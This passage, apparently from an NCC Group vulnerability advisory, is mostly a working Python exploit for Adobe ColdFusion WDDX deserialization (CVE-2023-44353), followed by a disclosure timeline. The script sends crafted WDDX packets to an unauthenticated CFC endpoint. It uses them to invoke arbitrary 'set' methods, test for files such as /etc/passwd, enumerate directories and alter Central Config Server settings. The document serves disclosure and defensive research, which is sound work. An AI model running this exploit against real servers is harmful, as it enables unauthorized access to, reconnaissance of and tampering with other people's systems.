    CONNECTION_FAILED = 1
    FUNCTION_MUST_BE_SET = 2
    DIRECTORY_NOT_FOUND = 3
    FILE_NOT_FOUND = 4
    FAIL_SET_CCS_CLUSTER_NAME = 5
    FAIL_SET_CCS_ENV = 6

# Log the msg to stdout if the verbosity level is >= the given level
def log(level, msg):
    if VERBOSITY.value >= level.value:
        print(msg)

# Show a result and exit
def resultObj(obj):
    if VERBOSITY == LogLevel.MINIMAL and 'minimal' in obj:
        log(LogLevel.MINIMAL, obj['minimal'])
    log(LogLevel.NORMAL, obj['normal'])
    sys.exit(obj['status'].value)

# Show a result and exit success/fail wrapper
def result(code, successObj, failObj):
    # Success occurs when a server error occurs
    if code == 500:
        return resultObj(successObj)
    return resultObj(failObj)

# Build the WDDX Deserialization Packet
def getPayload(cls, function, argument, type = 'string'):
    name = function
    
    # Validate the function begins with "set"
    if name[0:3] != 'set':
        log(LogLevel.MINIMAL, '[-] Target function must begin with "set"!')
        sys.exit(ExitStatus.FUNCTION_MUST_BE_SET.value)

    # Remove "set" prefix
    name = function[3:]

    # Lowercase first letter
    name = name[0].lower() + name[1:]

    return f"""<wddxPacket version='1.0'>
    <header/>
    <data>
        <struct type='x{cls}x'>
            <var name='{name}'>
                <{type}>{argument}</{type}>
            </var>
        </struct>
    </data>
</wddxPacket>"""

# Perform the POST request to the ColdFusion server
def request(cls, function, argument, type = 'string'):
    payload = getPayload(cls, function, argument, type)

    log(LogLevel.DEBUG, '[#] Sending HTTP POST request with the following XML payload:')
    log(LogLevel.DEBUG, payload)
    try:
        r = requests.post(URL, data={
            'argumentCollection': payload
        }, headers={
            'Content-Type': 'application/x-www-form-urlencoded'
        })
        log(LogLevel.DEBUG, f'[#] Retrieved HTTP status code {r.status_code}')
        return r.status_code
    except requests.exceptions.ConnectionError:
        log(LogLevel.MINIMAL, '[-] Failed to connect to target ColdFusion server!')
        sys.exit(ExitStatus.CONNECTION_FAILED.value)

# Handle the execute command
def execute(classpath, method, argument, type):
    log(LogLevel.NORMAL, f'[#]')
    log(LogLevel.NORMAL, f'[!] Execute restrictions:')
    log(LogLevel.NORMAL, f'[!] * Class')
    log(LogLevel.NORMAL, f'[!]   * Public constructor')
    log(LogLevel.NORMAL, f'[!]   * No constructor arguments')
    log(LogLevel.NORMAL, f'[!] * Function')
    log(LogLevel.NORMAL, f'[!]   * Name begins with "set"')
    log(LogLevel.NORMAL, f'[!]   * Public')
    log(LogLevel.NORMAL, f'[!]   * Not static')
    log(LogLevel.NORMAL, f'[!]   * One argument')
    log(LogLevel.NORMAL, f'[#]')
    code = request(classpath, method, argument, type)
    if VERBOSITY == LogLevel.MINIMAL:
        log(LogLevel.MINIMAL, f'{code}')
    log(LogLevel.NORMAL, f'[#] HTTP Code: {code}')
    sys.exit(ExitStatus.SUCCESS.value if code == 500 else code)

# Handle the directory existence command
def directoryExists(path):
    code = request('coldfusion.tagext.io.cache.CacheTag', 'setDirectory', path)
    result(code, {
        'minimal': 'valid',
        'normal': '[+] Directory exists',
        'status': ExitStatus.SUCCESS,
    }, {
        'minimal': 'invalid',
        'normal': '[-] Directory does not exist',
        'status': ExitStatus.DIRECTORY_NOT_FOUND,
    })

# Handle the file existence command
def fileExists(path):
    code = request('coldfusion.tagext.net.LdapTag', 'setClientCert', path)
    result(code, {
        'minimal': 'valid',
        'normal': '[+] File exists',
        'status': ExitStatus.SUCCESS,
    }, {
        'minimal': 'invalid',
        'normal': '[-] File does not exist',
        'status': ExitStatus.FILE_NOT_FOUND,
    })

# Set CCS Cluster Name
def setCCsClusterName(name):
    code = request('coldfusion.centralconfig.client.CentralConfigClientUtil', 'setClusterName', name)
    result(code, {
        'minimal': 'success',
        'normal': '[+] Set CCS cluster name',
        'status': ExitStatus.SUCCESS,
    }, {
        'minimal': 'failed',
        'normal': '[-] Failed to set CCS cluster name',
        'status': ExitStatus.FAIL_SET_CCS_CLUSTER_NAME,
    })

# Set CCS Environment
def setCcsEnv(env):
    code = request('coldfusion.centralconfig.client.CentralConfigClientUtil', 'setEnv', env)
    result(code, {
        'minimal': 'success',
        'normal': '[+] Set CCS environment',
        'status': ExitStatus.SUCCESS,
    }, {
        'minimal': 'failed',
        'normal': '[-] Failed to set CCS environment',
        'status': ExitStatus.FAIL_SET_CCS_ENV,
    })

def main(args):
    global URL, VERBOSITY

    # Build URL
    URL = f'{args.protocol}://{args.host}:{args.port}{args.cfc}'

    # Set verbosity
    if args.verbosity == 'none':
        VERBOSITY = LogLevel.NONE
    elif args.verbosity == 'minimal':
        VERBOSITY = LogLevel.MINIMAL
    elif args.verbosity == 'normal':
        VERBOSITY = LogLevel.NORMAL
    elif args.verbosity == 'debug':
        VERBOSITY = LogLevel.DEBUG

    log(LogLevel.NORMAL, f'[#] Target: {URL}')

    # Execute
    if args.command == 'execute':
        return execute(args.classpath, args.method, args.argument, args.type)

    # Directory Existence
    if args.command == 'directory-exist':
        return directoryExists(args.path)

    # File Existence
    if args.command == 'file-exist':
        return fileExists(args.path)

    # Set CCS Cluster Name
    if args.command == 'ccs-cluster-name':
        return setCCsClusterName(args.name)

    # Set CCS Environment
    if args.command == 'ccs-env':
        return setCcsEnv(args.env)

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description='')
    parser.add_argument('host', help='The target server domain or IP address')
    parser.add_argument('-p', '--port', type=int, default=8500, help='The target web server port number (Default: 8500)')
    parser.add_argument('-pr', '--protocol', choices=['https', 'http'], default='http', help='The target web server protocol (Default: http)')
    parser.add_argument('-c', '--cfc', default='/CFIDE/wizards/common/utils.cfc?method=wizardHash inPassword=bar _cfclient=true', help='The target CFC path (Default: /CFIDE/wizards/common/utils.cfc?method=wizardHash inPassword=foo _cfclient=true)')
    parser.add_argument('-v', '--verbosity', choices=['none', 'minimal', 'normal', 'debug'], default='normal', help='The level of output (Default: normal)')
    subparsers = parser.add_subparsers(required=True, help='Command', dest='command')

    # Execute
    parserE = subparsers.add_parser('execute', help='Execute a specific class function')
    parserE.add_argument('classpath', help='The target full class path (Example: coldfusion.centralconfig.client.CentralConfigClientUtil)')
    parserE.add_argument('method', help='The set function to execute (Example: setEnv)')
    parserE.add_argument('argument', help='The function argument to pass (Example: development)')
    parserE.add_argument('-t', '--type', default='string', help='The function argument type (Default: string)')

    # Directory Enumeration
    parserD = subparsers.add_parser('directory-exist', help='Check if a directory exists on the target server')
    parserD.add_argument('path', help='The absolute directory path (Examples: /tmp, C:/)')

    # File Enumeration
    parserF = subparsers.add_parser('file-exist', help='Check if a file exists on the target server')
    parserF.add_argument('path', help='The absolute file path (Examples: /etc/passwd, C:/Windows/win.ini)')

    # Set CCS Server Cluster Name
    parserN = subparsers.add_parser('ccs-cluster-name', help='Set the Central Config Server cluster name')
    parserN.add_argument('name', help='The absolute directory path (Example: _CF_DEFAULT)')

    # Set CCS Server Env
    parserE = subparsers.add_parser('ccs-env', help='Set the Central Config Server environment')
    parserE.add_argument('env', help='The absolute directory path (Example: development)')

    main(parser.parse_args())

Vendor Communication

  • 2023-09-12: Disclosed vulnerability to Adobe
  • 2023-09-12: Adobe opened vulnerability investigation
  • 2023-11-15: Adobe published advisory APSB23-52 containing CVE-2023-44353

Thanks to

About NCC Group

NCC Group is a global expert in cybersecurity and risk mitigation, working with businesses to protect their brand, value and reputation against the ever-evolving threat landscape. With our knowledge, experience and global footprint, we are best placed to help businesses identify, assess, mitigate respond to the risks they face. We are passionate about making the Internet safer and revolutionising the way in which organisations think about cybersecurity.

❌
❌